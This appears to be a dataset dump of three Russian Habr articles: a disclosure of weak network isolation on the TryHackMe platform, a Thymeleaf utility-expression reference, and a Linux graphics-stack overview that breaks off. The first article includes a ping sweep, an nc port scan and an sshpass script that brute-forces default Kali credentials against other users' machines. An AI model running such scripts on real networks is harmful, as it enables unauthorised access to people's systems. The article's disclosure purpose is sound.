text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# «Hack Me на TryHackMe», или Небезопасное изучение инфобеза на известной платформе
Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый [Иван Глинкин](https://www.ivanglinkin.com/).
Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.
Написать эту статью меня подтолкнули 3 причины:
1. Прошло уже более двух недель, а воз и ныне там. Никаких действий со стороны платформы TryHackMe не последовало;
2. Платформа ответила только хамством, а затем забанила аккаунт Ивана (об этом далее);
3. Автору оригинала очень лень переписывать статью на русском языке.
DSCLAIMER*Эта уязвимость была изначально найдена не мной, но я получил у автора оригинала разрешение на использование материалов оригинальной статьи и публикацию на русском языке. И уже я перепроверял, что конь всё ещё не валялся в системе инфобеза платформы TryHackMe, и использовать ее, мягко говоря, не очень безопасно.* [Ссылка на оригинальную статью.](https://www.ivanglinkin.com/if-you-play-with-hackers-dont-be-surprised-when-you-get-hacked-or-tryhackme-0-day-exploit/)
Завязка сюжета
--------------
Есть много разных платформ для обучения инфобезу. И коль скоро эти платформы затрагивают такой важный в IT-отрасли сегмент, то неплохо было бы им самим соответствовать. Так мы думаем, когда заходим на них.
Однако, как показала практика, тут тоже работает славный принцип «х\*як, х\*як, и в продакшн».
Когда мы подключаемся по VPN к платформе, мы не можем взаимодействовать с другими хостами в сети, кроме самих виртуальных машин для взлома. Верно? Верно!
Ну, а что по поводу самих виртуальных стендов? Они-то, наверное, тоже не могут взаимодействовать с кем попало?
А вот и нет! Виртуальный стенд, как оказалось, видит всех и вся в сети.
В качестве тестовой точки я выбрал виртуалку «Basic Pentesting».
В роли атакующего у нас ...Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0
```
for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done
```
Ищем живых соседейЖизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0 …
Ищем ещеВидим ...
Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache.
Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы.
```
for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done
```
Ищем открытый 80 портА вот и первые претенденты. CURL’луем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки:
Уверен, что у многих директория веб-сервера на Kali выглядит примерно такжеКульминация
-----------
А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.
Опа! Не ставится.
Прав нет. А если найду?Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же?
Ну, тут даже без комментариев …Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора:
```
#!/bin/bash
for ip in {2..255}
do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)
if [ ! -z $ip_check ]
then
echo -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";
nc -vz -w 2 $ip_check 22 > log.txt 2>&1;
ssh_refused=$(grep -o "refused" log.txt)
ssh_timeout=$(grep -o "timed" log.txt)
if [ ! -z $ssh_refused ]
then
echo -e "\e[01;31mSSH is closed. Going further. \e[00m";
echo " ";
elif [ ! -z $ssh_timeout ]
then
echo -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";
echo " ";
else
echo -e "\e[01;32mSSH is open. Trying to connect... \e[00m";
sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;
echo " ";
fi
fi
done
rm log.txt;
echo -e "\e[01;32mEnumeration has been finished! \e[00m";
```
Развязка
--------
Проверять будем 3 самые основные связки логин/пароль для Kali и Parrot OS:
* kali:kali
* root:toor
* user:toor
ПОЕХАЛИ!А вот и первый «БЕЗОПАСНИК» с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке …
Привет привет ovpn файлПробуем sudo …
Ну как бы вот ...Эпилог
------
Какие из всего этого следуют практические выводы?
Ну, самый очевидный: ~~система инфобеза TryHackMe полное \*\*\*\*~~ нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот «уровне» защиты сети на платформе TryHackMe? Определённо нет.
Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:
1. Включить вашу рабочую машину в ботнет;
2. Покопаться во внутрикорпоративной сети компании и вашей личной инфе;
3. Провести атаки на другие ресурсы с использованием вашей пентест-машины и из-под вашего IP;
4. Помайнить криптовалюты на вашем оборудовании (а почему бы, собственно, и нет?);
5. Всё, что пришло вам в голову к этому моменту …
А также не забываем, что после перезагрузки стенда вся информация с него удаляется, в том числе и логи. Можно, конечно, уповать на то, что у TryHackMe всё обязательно логируется и записывается, особенно все действия пользователя на виртуалках, но что-то мне мало верится в реальность этого варианта.
Особенно меня «порадовала» реакция платформы TryHackMe на багрепорт всей этой ситуации.
Первичный отчет был направлен в TryHackMe 2 мая 2021. [Оригинальная статья](https://www.ivanglinkin.com/if-you-play-with-hackers-dont-be-surprised-when-you-get-hacked-or-tryhackme-0-day-exploit/) вышла 25 мая 2021. Вместо того, чтобы заняться решением этой проблемы, руководство платформы TryHackMe прислало письмо, в котором просто решило прикрыться пунктом 9 правил пользования платформой.
TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?
Ну и вишенка на торте:
Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза …
Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.
Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения.
Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц.
 | https://habr.com/ru/post/562826/ | null | ru | null |
# Учебник Thymeleaf: Глава 19. Приложение B: Полезные выражения
[Оглавление](https://habrahabr.ru/post/350862/)
19 Приложение B: Полезные выражения
-----------------------------------
**Информация о выполнении**
**#execInfo**: выражения, предоставляющие полезную информацию о шаблоне, обрабатываемом внутри Thymeleaf Standard Expressions
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.ExecutionInfo
* ====================
*/
/*
* Вернет имя и режим шаблона "узла". Если кусок
* кода не находится в корневом шаблоне "A", а является вставленным фрагментом в
* "A" из другого шаблона под названием "B", то вернет "B" в качестве
* имени и режим "B" в качестве режима шаблона
*/
${#execInfo.templateName}
${#execInfo.templateMode}
/*
* Возвращает имя и режим шаблона "родителя". Если кусок
* кода не находится в корневом шаблоне "A", а является вставленным фрагментом в
* "A" из другого шаблона под названием "B", то будет возвращен шаблон
* "A" и режим шаблона "A".
*/
${#execInfo.processedTemplateName}
${#execInfo.processedTemplateMode}
/*
* Вернуть стеки (на самом деле, List или List)
\* обрабатываемые шаблоны. Первым элементом будет
\* "обработанный шаблон" (корневой), последний будет "узлом",
\* а в середине все фрагменты, вставленные во вложенные
\* для получения узла из корня
\*/
${#execInfo.templateNames}
${#execInfo.templateModes}
/\*
\* Вернет стек шаблонов, обрабатываемых аналогично (и в
\* тот же порядок) в 'templateNames' и 'templateModes', но возвращается
\* List с полными метаданными шаблонов
\*/
${#execInfo.templateStack}
```
**Сообщения**
**#messages**: утилиты для получения внешних сообщений внутри выражений, так же, как они будут получены с использованием синтаксиса #{...}
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Messages
* ====================
*/
/*
* Получить внешние сообщения. Получить один ключ, ключ плюс аргументы,
* или массив / список / набор ключей (в этом случае он вернет массив / список / набор
* внешних сообщений).
* Если сообщение не найдено, возвращается сообщение по умолчанию (например, '??msgKey??')
*/
${#messages.msg('msgKey')}
${#messages.msg('msgKey', param1)}
${#messages.msg('msgKey', param1, param2)}
${#messages.msg('msgKey', param1, param2, param3)}
${#messages.msgWithParams('msgKey', new Object[] {param1, param2, param3, param4})}
${#messages.arrayMsg(messageKeyArray)}
${#messages.listMsg(messageKeyList)}
${#messages.setMsg(messageKeySet)}
/*
* Получить внешние сообщения или null. Null возвращается вместо дефолтного сообщения,
* если сообщение для указанного ключа не найдено.
*/
${#messages.msgOrNull('msgKey')}
${#messages.msgOrNull('msgKey', param1)}
${#messages.msgOrNull('msgKey', param1, param2)}
${#messages.msgOrNull('msgKey', param1, param2, param3)}
${#messages.msgOrNullWithParams('msgKey', new Object[] {param1, param2, param3, param4})}
${#messages.arrayMsgOrNull(messageKeyArray)}
${#messages.listMsgOrNull(messageKeyList)}
${#messages.setMsgOrNull(messageKeySet)}
```
**URIs/URLs**
**#uris**: служебный объект для выполнения операций URI/URL (экранирование / деэкранирование) внутри Thymeleaf Standard Expressions.
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Uris
* ====================
*/
/*
* Экранирование/Деэкранирование URI/URL путей
*/
${#uris.escapePath(uri)}
${#uris.escapePath(uri, encoding)}
${#uris.unescapePath(uri)}
${#uris.unescapePath(uri, encoding)}
/*
* Экранирование/Деэкранирование URI/URL путей сегментов (между '/' символами)
*/
${#uris.escapePathSegment(uri)}
${#uris.escapePathSegment(uri, encoding)}
${#uris.unescapePathSegment(uri)}
${#uris.unescapePathSegment(uri, encoding)}
/*
* Экранирование/Деэкранирование якорей (#frag)
*/
${#uris.escapeFragmentId(uri)}
${#uris.escapeFragmentId(uri, encoding)}
${#uris.unescapeFragmentId(uri)}
${#uris.unescapeFragmentId(uri, encoding)}
/*
* Экранирование/Деэкранирование параметров запроса (?var=value)
*/
${#uris.escapeQueryParam(uri)}
${#uris.escapeQueryParam(uri, encoding)}
${#uris.unescapeQueryParam(uri)}
${#uris.unescapeQueryParam(uri, encoding)}
```
**Конвертация/Conversions**
**#conversions**: который позволяет вызывать Conversion Service в любой точке шаблона:
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Conversions
* ====================
*/
/*
* Выполнить желаемое преобразование значения 'object' в
* указанный класс
*/
${#conversions.convert(object, 'java.util.TimeZone')}
${#conversions.convert(object, targetClass)}
```
**Даты/Dates**
**#dates**: утилиты методов java.util.Date objects:
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Dates
* ====================
*/
/*
* Формат даты со стандартным языковым форматом
* Также работает с arrays, lists или sets
*/
${#dates.format(date)}
${#dates.arrayFormat(datesArray)}
${#dates.listFormat(datesList)}
${#dates.setFormat(datesSet)}
/*
* Формат даты стандарта ISO8601
* Так же работает с arrays, lists или sets
*/
${#dates.formatISO(date)}
${#dates.arrayFormatISO(datesArray)}
${#dates.listFormatISO(datesList)}
${#dates.setFormatISO(datesSet)}
/*
* Формат даты с указанным шаблоном
* Так же работает с arrays, lists или sets
*/
${#dates.format(date, 'dd/MMM/yyyy HH:mm')}
${#dates.arrayFormat(datesArray, 'dd/MMM/yyyy HH:mm')}
${#dates.listFormat(datesList, 'dd/MMM/yyyy HH:mm')}
${#dates.setFormat(datesSet, 'dd/MMM/yyyy HH:mm')}
/*
* Получить свойства даты
* Так же работает с arrays, lists или sets
*/
${#dates.day(date)} // так же arrayDay(...), listDay(...), etc.
${#dates.month(date)} // так же arrayMonth(...), listMonth(...), etc.
${#dates.monthName(date)} // так же arrayMonthName(...), listMonthName(...), etc.
${#dates.monthNameShort(date)} // так же arrayMonthNameShort(...), listMonthNameShort(...), etc.
${#dates.year(date)} // так же arrayYear(...), listYear(...), etc.
${#dates.dayOfWeek(date)} // так же arrayDayOfWeek(...), listDayOfWeek(...), etc.
${#dates.dayOfWeekName(date)} // так же arrayDayOfWeekName(...), listDayOfWeekName(...), etc.
${#dates.dayOfWeekNameShort(date)} // так же arrayDayOfWeekNameShort(...), listDayOfWeekNameShort(...), etc.
${#dates.hour(date)} // так же arrayHour(...), listHour(...), etc.
${#dates.minute(date)} // так же arrayMinute(...), listMinute(...), etc.
${#dates.second(date)} // так же arraySecond(...), listSecond(...), etc.
${#dates.millisecond(date)} // так же arrayMillisecond(...), listMillisecond(...), etc.
/*
* Создание объекта даты (java.util.Date)
*/
${#dates.create(year,month,day)}
${#dates.create(year,month,day,hour,minute)}
${#dates.create(year,month,day,hour,minute,second)}
${#dates.create(year,month,day,hour,minute,second,millisecond)}
/*
* Создание объекта даты (java.util.Date) текущего даты/времени
*/
${#dates.createNow()}
${#dates.createNowForTimeZone()}
/*
* Создание объекта даты (java.util.Date) текущего числа (время установлено в 00:00)
*/
${#dates.createToday()}
${#dates.createTodayForTimeZone()}
```
**Календари/Calendars**
**#calendars**: аналогично #dates, но для java.util.Calendar objects:
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Calendars
* ====================
*/
/*
* Формат календаря со стандартной языковым форматом
* Так же работает с arrays, lists или sets
*/
${#calendars.format(cal)}
${#calendars.arrayFormat(calArray)}
${#calendars.listFormat(calList)}
${#calendars.setFormat(calSet)}
/*
* Формат календаря стандарта ISO8601
* Так же работает с arrays, lists или sets
*/
${#calendars.formatISO(cal)}
${#calendars.arrayFormatISO(calArray)}
${#calendars.listFormatISO(calList)}
${#calendars.setFormatISO(calSet)}
/*
* Формат календаря с определенным шаблоном
* Так же работает с arrays, lists или sets
*/
${#calendars.format(cal, 'dd/MMM/yyyy HH:mm')}
${#calendars.arrayFormat(calArray, 'dd/MMM/yyyy HH:mm')}
${#calendars.listFormat(calList, 'dd/MMM/yyyy HH:mm')}
${#calendars.setFormat(calSet, 'dd/MMM/yyyy HH:mm')}
/*
* Получение свойств календаря
* Так же работает с arrays, lists или sets
*/
${#calendars.day(date)} // так же arrayDay(...), listDay(...), etc.
${#calendars.month(date)} // так же arrayMonth(...), listMonth(...), etc.
${#calendars.monthName(date)} // так же arrayMonthName(...), listMonthName(...), etc.
${#calendars.monthNameShort(date)} // так же arrayMonthNameShort(...), listMonthNameShort(...), etc.
${#calendars.year(date)} // так же arrayYear(...), listYear(...), etc.
${#calendars.dayOfWeek(date)} // так же arrayDayOfWeek(...), listDayOfWeek(...), etc.
${#calendars.dayOfWeekName(date)} // так же arrayDayOfWeekName(...), listDayOfWeekName(...), etc.
${#calendars.dayOfWeekNameShort(date)} // так же arrayDayOfWeekNameShort(...), listDayOfWeekNameShort(...), etc.
${#calendars.hour(date)} // так же arrayHour(...), listHour(...), etc.
${#calendars.minute(date)} // так же arrayMinute(...), listMinute(...), etc.
${#calendars.second(date)} // так же arraySecond(...), listSecond(...), etc.
${#calendars.millisecond(date)} // так же arrayMillisecond(...), listMillisecond(...), etc.
/*
* Создание объекта календаря (java.util.Calendar)
*/
${#calendars.create(year,month,day)}
${#calendars.create(year,month,day,hour,minute)}
${#calendars.create(year,month,day,hour,minute,second)}
${#calendars.create(year,month,day,hour,minute,second,millisecond)}
${#calendars.createForTimeZone(year,month,day,timeZone)}
${#calendars.createForTimeZone(year,month,day,hour,minute,timeZone)}
${#calendars.createForTimeZone(year,month,day,hour,minute,second,timeZone)}
${#calendars.createForTimeZone(year,month,day,hour,minute,second,millisecond,timeZone)}
/*
* Создание объекта календаря (java.util.Calendar) для текущей даты/времени
*/
${#calendars.createNow()}
${#calendars.createNowForTimeZone()}
/*
* Создание объекта календаря (java.util.Calendar) для текущей даты (время установлено в 00:00)
*/
${#calendars.createToday()}
${#calendars.createTodayForTimeZone()}
```
**Числа**
**#numbers**: методы для числовых объектов:
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Numbers
* ====================
*/
/*
* ==========================
* Форматирование целых чисел
* ==========================
*/
/*
* Установка минимального целого числа.
* Так же работает с arrays, lists или sets
*/
${#numbers.formatInteger(num,3)}
${#numbers.arrayFormatInteger(numArray,3)}
${#numbers.listFormatInteger(numList,3)}
${#numbers.setFormatInteger(numSet,3)}
/*
* Установка минимального целого числа и разделителя тысяч:
* 'POINT', 'COMMA', 'WHITESPACE', 'NONE' или 'DEFAULT' (как в локали).
* Так же работает с arrays, lists или sets
*/
${#numbers.formatInteger(num,3,'POINT')}
${#numbers.arrayFormatInteger(numArray,3,'POINT')}
${#numbers.listFormatInteger(numList,3,'POINT')}
${#numbers.setFormatInteger(numSet,3,'POINT')}
/*
* ==========================
* Форматирование десятичных чисел
* ==========================
*/
/*
* Установка минимальной целой и десятичной частей
* Так же работает с arrays, lists или sets
*/
${#numbers.formatDecimal(num,3,2)}
${#numbers.arrayFormatDecimal(numArray,3,2)}
${#numbers.listFormatDecimal(numList,3,2)}
${#numbers.setFormatDecimal(numSet,3,2)}
/*
* Устанавливает минимальную часть целой и дробной частей, а так же разделитель десятичных.
* Так же работает с arrays, lists или sets
*/
${#numbers.formatDecimal(num,3,2,'COMMA')}
${#numbers.arrayFormatDecimal(numArray,3,2,'COMMA')}
${#numbers.listFormatDecimal(numList,3,2,'COMMA')}
${#numbers.setFormatDecimal(numSet,3,2,'COMMA')}
/*
* Устанавливает минимальную часть целой и дробной частей, а так же разделитель десятичных и тысячных.
* Так же работает с arrays, lists или sets
*/
${#numbers.formatDecimal(num,3,'POINT',2,'COMMA')}
${#numbers.arrayFormatDecimal(numArray,3,'POINT',2,'COMMA')}
${#numbers.listFormatDecimal(numList,3,'POINT',2,'COMMA')}
${#numbers.setFormatDecimal(numSet,3,'POINT',2,'COMMA')}
/*
* =====================
* Форматирование валют
* =====================
*/
${#numbers.formatCurrency(num)}
${#numbers.arrayFormatCurrency(numArray)}
${#numbers.listFormatCurrency(numList)}
${#numbers.setFormatCurrency(numSet)}
/*
* ======================
* Форматирование процентов
* ======================
*/
${#numbers.formatPercent(num)}
${#numbers.arrayFormatPercent(numArray)}
${#numbers.listFormatPercent(numList)}
${#numbers.setFormatPercent(numSet)}
/*
* Устанавливает минимальные целую и дробные части
*/
${#numbers.formatPercent(num, 3, 2)}
${#numbers.arrayFormatPercent(numArray, 3, 2)}
${#numbers.listFormatPercent(numList, 3, 2)}
${#numbers.setFormatPercent(numSet, 3, 2)}
/*
* ===============
* Методы утилит
* ===============
*/
/*
* Создает последовательность (массив) целых чисел от x до y
*/
${#numbers.sequence(from,to)}
${#numbers.sequence(from,to,step)}
```
**Строки/Strings**
**#strings**: полезные методы для строк:
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Strings
* ====================
*/
/*
* Null-safe toString()
*/
${#strings.toString(obj)} // так же array*, list* and set*
/*
* Проверка String на пустоту (или null). Выполняет trim() перед проверкой
* Так же работает с arrays, lists или sets
*/
${#strings.isEmpty(name)}
${#strings.arrayIsEmpty(nameArr)}
${#strings.listIsEmpty(nameList)}
${#strings.setIsEmpty(nameSet)}
/*
* Выполняет 'isEmpty()' для строки и при false возвращает первое значение, или значение по умолчанию при true.
* Так же работает с arrays, lists или sets
*/
${#strings.defaultString(text,default)}
${#strings.arrayDefaultString(textArr,default)}
${#strings.listDefaultString(textList,default)}
${#strings.setDefaultString(textSet,default)}
/*
* Проверяет, содержится ли фрагмент в строке
* Так же работает с arrays, lists или sets
*/
${#strings.contains(name,'ez')} // так же array*, list* and set*
${#strings.containsIgnoreCase(name,'ez')} // так же array*, list* and set*
/*
* Проверяет, начинается или оканчивается строка с фрагмента
* так же works with arrays, lists or sets
*/
${#strings.startsWith(name,'Don')} // так же array*, list* and set*
${#strings.endsWith(name,endingFragment)} // так же array*, list* and set*
/*
* Строковые операции
* Так же работает с arrays, lists или sets
*/
${#strings.indexOf(name,frag)} // так же array*, list* and set*
${#strings.substring(name,3,5)} // так же array*, list* and set*
${#strings.substringAfter(name,prefix)} // так же array*, list* and set*
${#strings.substringBefore(name,suffix)} // так же array*, list* and set*
${#strings.replace(name,'las','ler')} // так же array*, list* and set*
/*
* Дополнение в начале и в конце строки
* Так же работает с arrays, lists или sets
*/
${#strings.prepend(str,prefix)} // так же array*, list* and set*
${#strings.append(str,suffix)} // так же array*, list* and set*
/*
* Меняет строковые и заглавные
* Так же работает с arrays, lists или sets
*/
${#strings.toUpperCase(name)} // так же array*, list* and set*
${#strings.toLowerCase(name)} // так же array*, list* and set*
/*
* Соединяет и разделяет строку
*/
${#strings.arrayJoin(namesArray,',')}
${#strings.listJoin(namesList,',')}
${#strings.setJoin(namesSet,',')}
${#strings.arraySplit(namesStr,',')} // returns String[]
${#strings.listSplit(namesStr,',')} // returns List
${#strings.setSplit(namesStr,',')} // returns Set
/\*
\* Trim (удаление пробелов с обеих концов строки)
\* Так же работает с arrays, lists или sets
\*/
${#strings.trim(str)} // так же array\*, list\* and set\*
/\*
\* Вычисление длины
\* Так же работает с arrays, lists или sets
\*/
${#strings.length(str)} // так же array\*, list\* and set\*
/\*
\* Обрезает строку до n символов и вставляет указанное окончание.
\* Так же работает с arrays, lists или sets
\*/
${#strings.abbreviate(str,10)} // так же array\*, list\* and set\*
/\*
\* Конвертирует первый символ в заглавную букву (и наоборот)
\*/
${#strings.capitalize(str)} // так же array\*, list\* and set\*
${#strings.unCapitalize(str)} // так же array\*, list\* and set\*
/\*
\* Конвертирует первую букву каждого слова в заглавную
\*/
${#strings.capitalizeWords(str)} // так же array\*, list\* and set\*
${#strings.capitalizeWords(str,delimiters)} // так же array\*, list\* and set\*
/\*
\* Экранирует строку
\*/
${#strings.escapeXml(str)} // так же array\*, list\* and set\*
${#strings.escapeJava(str)} // так же array\*, list\* and set\*
${#strings.escapeJavaScript(str)} // так же array\*, list\* and set\*
${#strings.unescapeJava(str)} // так же array\*, list\* and set\*
${#strings.unescapeJavaScript(str)} // так же array\*, list\* and set\*
/\*
\* Null-safe сравнение и соединение
\*/
${#strings.equals(first, second)}
${#strings.equalsIgnoreCase(first, second)}
${#strings.concat(values...)}
${#strings.concatReplaceNulls(nullValue, values...)}
/\*
\* Случайные строки
\*/
${#strings.randomAlphanumeric(count)}
```
**Objects**
**#objects**: полезные методы для объектов в целом
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Objects
* ====================
*/
/*
* Возвращает объект, если он не null, и дефолтное значение в противном случае
* Так же работает с arrays, lists или sets
*/
${#objects.nullSafe(obj,default)}
${#objects.arrayNullSafe(objArray,default)}
${#objects.listNullSafe(objList,default)}
${#objects.setNullSafe(objSet,default)}
```
**Booleans**
**#bools**: полезные методы для работы с булевыми выражениями
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Bools
* ====================
*/
/*
* Анализирует условие аналогично тегу th:if
* (смотрите раздел условий).
* Так же работает с arrays, lists или sets
*/
${#bools.isTrue(obj)}
${#bools.arrayIsTrue(objArray)}
${#bools.listIsTrue(objList)}
${#bools.setIsTrue(objSet)}
/*
* Выражение с отрицанием
* так же works with arrays, lists or sets
*/
${#bools.isFalse(cond)}
${#bools.arrayIsFalse(condArray)}
${#bools.listIsFalse(condList)}
${#bools.setIsFalse(condSet)}
/*
* Анализ и применение оператора AND
* Receive an array, a list or a set as parameter
*/
${#bools.arrayAnd(condArray)}
${#bools.listAnd(condList)}
${#bools.setAnd(condSet)}
/*
* Выполнение оператора OR
* Receive an array, a list or a set as parameter
*/
${#bools.arrayOr(condArray)}
${#bools.listOr(condList)}
${#bools.setOr(condSet)}
```
**Массивы/Arrays**
**#arrays**: полезные методы для массивов
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Arrays
* ====================
*/
/*
* Преобразует в массив, пытаясь вывести класс компонентов массива.
* Если результат пустой или элементы
* массива принадлежат разным классам,
* метод возвратит Object[].
*/
${#arrays.toArray(object)}
/*
* Конвертация массива к определенном классу.
*/
${#arrays.toStringArray(object)}
${#arrays.toIntegerArray(object)}
${#arrays.toLongArray(object)}
${#arrays.toDoubleArray(object)}
${#arrays.toFloatArray(object)}
${#arrays.toBooleanArray(object)}
/*
* Вычисление длины
*/
${#arrays.length(array)}
/*
* Является ли массив пустым
*/
${#arrays.isEmpty(array)}
/*
* Проверяет наличие одного или нескольких элементов в массиве
*/
${#arrays.contains(array, element)}
${#arrays.containsAll(array, elements)}
```
**Списки/Lists**
**#lists**: полезные методы списков
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Lists
* ====================
*/
/*
* Конвертация в список
*/
${#lists.toList(object)}
/*
* Вычисление размера
*/
${#lists.size(list)}
/*
* Является ли список пустым
*/
${#lists.isEmpty(list)}
/*
* Проверяет наличие одного или нескольких элементов в списке
*/
${#lists.contains(list, element)}
${#lists.containsAll(list, elements)}
/*
* Сортировка копии указанного списка. Элементы списка должны реализовывать компаратор
* или компаратор должен определяться.
*/
${#lists.sort(list)}
${#lists.sort(list, comparator)}
```
**Множествав/Sets**
**#sets**: полезные методы для множеств
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Sets
* ====================
*/
/*
* Конвертация к множеству
*/
${#sets.toSet(object)}
/*
* Вычисление размера
*/
${#sets.size(set)}
/*
* Является ли множество пустым
*/
${#sets.isEmpty(set)}
/*
* Содержится ли элемент или элементы во множестве
*/
${#sets.contains(set, element)}
${#sets.containsAll(set, elements)}
```
**Карты/Maps**
**#maps**: полезные методы для карт
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Maps
* ====================
*/
/*
* Вычисление размера
*/
${#maps.size(map)}
/*
* Проверка map на пустоту
*/
${#maps.isEmpty(map)}
/*
* Содержит ли map ключ или значение
*/
${#maps.containsKey(map, key)}
${#maps.containsAllKeys(map, keys)}
${#maps.containsValue(map, value)}
${#maps.containsAllValues(map, value)}
```
**Агрегирование/Aggregates**
**#aggregates**: полезные методы агрегации массивов или коллекций
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Aggregates
* ====================
*/
/*
* Вычисление суммы. Возвращает null, если масси или коллекция пустые
*/
${#aggregates.sum(array)}
${#aggregates.sum(collection)}
/*
* Вычисление среднего. Возвращает null, если масси или коллекция пустые
*/
${#aggregates.avg(array)}
${#aggregates.avg(collection)}
```
**IDs**
**#ids**: утилиты для обработки идентификаторов id, которые могут быть повторены (например, в результате итерации).
```
/*
* ====================
* See javadoc API for class org.thymeleaf.expression.Ids
* ====================
*/
/*
* Обычно используется в атрибутах th: id, для добавления счетчика к значению атрибута id
*, чтобы он оставался уникальным даже в процессе итерации.
*/
${#ids.seq('someId')}
/*
* Обычно используется в th:for атрибутах в тегах , так что эти метки могут ссылаться на идентификаторы
\* сгенерированые с помощью функции #ids.seq(...).
\* В зависимости от того, идет ли до или после элемента с #ids.seq(...),
\* "next" (метка идет до "seq") или "prev" (метка идет после
\* Функция "seq" должна быть вызвана.
\*/
${#ids.next('someId')}
${#ids.prev('someId')}
``` | https://habr.com/ru/post/352556/ | null | ru | null |
# Графический стек Linux
*(оригинал — Jasper St. Pierre, разработчик GNOME Shell, [взято отсюда](http://blog.mecheye.net/2012/06/the-linux-graphics-stack/))*
Это обзорная статья о составных частях графического стека Linux и том, как они уживаются вместе. Изначально я написал её для себя после разговоров об этом стеке с Оуэном Тейлором, Рэем Строудом и Эдэмом Джексоном *(**Owen Taylor** — мэйнтейнер Gnome Shell; **Ray Strode** — мэйнтейнер большого количества десктопных пакетов сообщества RedHat; **Adam Jackson** — разработчик графического стека Gnome Shell и интеграции с XOrg; прим. переводчика)*.
Я постоянно дёргал их, снова и снова расспрашивал о всяких мелочах, а потом эти мелочи благополучно забывал. В конце концов, я задал им вопрос — а нет ли какого-нибудь обзорного документа, уткнувшись в который я бы избавил ребят от своего назойливого внимания? Не получив утвердительного ответа я решил написать эту статью, которая по завершению была вычитана Эдэмом Джексоном и Дэвидом Эйрли. Они оба работают над этим стеком.
Я хочу вас предупредить, дорогие читатели — такое устройство большой части графического стека Linux, каким оно показано в этой статье, справедливо для открытых драйверов. Это означает, что внутри проприетарных драйверов от AMD или nVidia всё может быть немного не так. Или не совсем так. Или вообще не так. У них могут быть как свои собственные реализации OpenGL, так и скопированная реализация Mesa. Я буду описывать тот стек, который реализуется в открытых драйверах “radeon”, “noveau” и драйверах фирмы Intel.
Если у вас есть какие-нибудь вопросы, или вам кажется, что какие-то детали недостаточно ясны (ну или я очень-очень заблуждаюсь либо как-то путано пишу) — вы, пожалуйста, не стесняйтесь писать об этом в комментариях.
Для начала я прямо тут кратко распишу все компоненты стека. Ну, для того, чтобы вы в общих чертах в них ориентировались по ходу дальнейшего описания.
В общем, если быть точным, в зависимости от выбранного вами типа отрисовки есть два разных сценария развития событий внутри стека:
### Трёхмерная отрисовка с помощью OpenGL
1. Программа стартует, используя для отрисовки OpenGL;
2. Библиотека mesa предоставляет вам этот самый API OpenGL. Она использует конкретные драйверы вашей видеокарты для преобразования вызовов OpenGL к приемлемому для видеокарты виду. Если внутри драйвера используется Gallium, то подключается ещё и разделяемый компонент, который превращает вызовы OpenGL в общее промежуточное представление, TGSI. После преобразования вызовов внутри Gallium низкоуровневому драйверу остаётся лишь оттранслировать TGSI в аппаратные команды, понятные железке;
3. libdrm использует специальные ioctl для связи с ядром Linux;
